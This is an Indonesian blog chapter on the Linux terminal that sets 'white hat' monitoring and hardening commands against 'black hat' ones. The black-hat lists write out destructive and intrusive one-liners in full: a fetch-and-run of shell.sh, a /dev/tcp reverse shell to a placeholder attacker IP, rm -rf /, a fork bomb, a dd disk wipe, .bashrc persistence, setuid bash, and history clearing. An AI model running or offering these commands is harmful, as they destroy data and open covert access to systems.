seni hacking
seni hacking

πŸ“– 1.4 Terminal Adalah Pintu Gerbang

β€œBagi kebanyakan orang, terminal adalah layar kosong.
Bagi hacker, terminal adalah dunia baru.”


Di saat mayoritas manusia mengandalkan klik dan sentuhan,
ada segelintir jiwa yang memilih jalur berbeda β€”
jalur teks. Jalur sunyi. Jalur logika murni.

Terminal bukan sekadar program.
Ia adalah jendela ke dalam struktur dunia digital.
Sebuah tempat di mana perintah sederhana bisa
membuka, memanipulasi, atau menghancurkan.


🧭 Pintu Bagi Para Penjelajah Sistem

Bagi seorang white hat, terminal adalah alat kendali.
Dari sinilah ia memeriksa log, memperbaiki konfigurasi, memantau trafik, dan memperkuat sistem.

Terminal menjadi kanvas untuk keteraturan, tempat di mana baris perintah menciptakan keamanan.

Contoh perintah sederhana, tapi sangat penting:

  • ls Menampilkan isi folder.
    Dari sinilah pengamatan dimulai β€” mengetahui apa yang ada, sebelum bertindak.
  • cat /var/log/auth.log Membaca file log otentikasi.
    White hat menggunakannya untuk melacak siapa yang masuk dan kapan.
  • top Melihat proses yang sedang berjalan.
    Digunakan untuk memantau sistem secara real-time β€” melihat yang tak terlihat.

πŸ•³οΈ Jalan Masuk Bagi Bayangan

Namun bagi seorang black hat, terminal adalah jalan masuk ke tempat-tempat yang tersembunyi.
Dengan satu baris perintah, ia bisa:

  • cat /etc/passwd Melihat struktur pengguna sistem β€” bisa menjadi titik awal eksploitasi akses.
  • wget http://senihacking.com/shell.sh && bash shell.sh Mengambil dan menjalankan shell dari luar β€” menciptakan jembatan masuk diam-diam.
  • nc -nlvp 4444 dan bash -i >& /dev/tcp/yourip/4444 0>&1 Membuat reverse shell β€” menyambungkan sistem korban ke perangkat attacker, tanpa disadari.

β€œDari balik layar hitam, dunia bisa dibuka paksa. Tanpa suara. Tanpa pintu.”


βš–οΈ Dua Tangan, Satu Alat

Terminal itu netral. Ia tidak tahu siapa kamu.
Ia tidak peduli apakah niatmu mulia atau licik.
Ia hanya menerima perintah.

Dan di sinilah seni dari kekuasaan digital:

  • Kamu bisa menggunakannya untuk menghidupkan sistem,
    systemctl restart apache2
  • Atau untuk membunuh proses kehidupan di dalamnya,
    rm -rf /

β€œTerminal tak pernah bertanya siapa kamu. Ia hanya mematuhi.”


✨ Penutup Sub-Bab

Setiap baris yang kamu ketik di terminal adalah sebuah keputusan.
Apakah perintah itu akan menyelamatkan sistem…
…atau menghancurkannya?

Ketika kamu berdiri di depan prompt kosong itu,
kamu bukan lagi hanya pengguna.

Kamu adalah pencipta. Atau penghancur.
Dan terminal… hanyalah saksi bisu yang akan mematuhi semuanya.

β€œDi dunia teks dan diam, satu perintah bisa mengubah segalanya.”

πŸ›‘οΈ 10 Command Linux untuk Kebaikan (White Hat Style)

β€œDigunakan untuk menjaga, memantau, memperbaiki.”

  1. ls -la
    πŸ” Melihat isi direktori lengkap, termasuk file tersembunyi.
  2. top
    πŸ“Š Monitoring sistem secara real-time.
  3. netstat -tuln
    πŸ”’ Mengecek port terbuka dan layanan yang berjalan.
  4. ufw enable
    πŸ›‘οΈ Mengaktifkan firewall sederhana di server.
  5. fail2ban-client status
    🚫 Melihat status proteksi brute-force.
  6. chown dan chmod
    πŸ“ Mengatur izin akses file agar aman.
  7. journalctl -xe
    πŸ“„ Melihat log error sistem secara detail.
  8. grep -i "error" /var/log/syslog
    🧠 Mencari kesalahan dalam log sistem.
  9. systemctl status nginx
    βš™οΈ Memeriksa status layanan webserver.
  10. tcpdump -i eth0
    πŸ“‘ Menganalisis lalu lintas jaringan, deteksi anomali.

☠️ 10 Command Linux untuk Penghancuran (Black Hat Style)

β€œBukan perintah yang jahat. Tapi tangan yang menggunakannya bisa membawa kehancuran.”

  1. rm -rf /
    πŸ’£ Menghapus seluruh sistem β€” instan hancur.
  2. wget http://senihacking.com/shell.sh && bash shell.sh
    🐚 Menjalankan shell jahat dari luar server.
  3. :(){ :|:& };:
    🧨 Fork bomb β€” membuat sistem crash dengan replikasi proses.
  4. dd if=/dev/zero of=/dev/sda
    ☠️ Menghapus seluruh hard drive secara brutal.
  5. nc -nlvp 4444
    πŸ”Œ Menyiapkan listener untuk reverse shell.
  6. bash -i >& /dev/tcp/attackerip/4444 0>&1
    πŸ•³οΈ Reverse shell β€” membuka akses masuk ke attacker.
  7. echo "malicious_command" >> ~/.bashrc
    🎭 Menyisipkan script jahat agar jalan tiap login.
  8. chmod +s /bin/bash
    πŸ› οΈ Menjadikan bash sebagai shell root tersembunyi.
  9. history -c
    🧹 Menghapus jejak aktivitas command line.
  10. pkill -u senihacking
    ❌ Mematikan semua proses milik user target.

β€œPerintah adalah alat. Tapi niatmu adalah peluru. Terminal hanya menjalankan… bukan menghakimi.”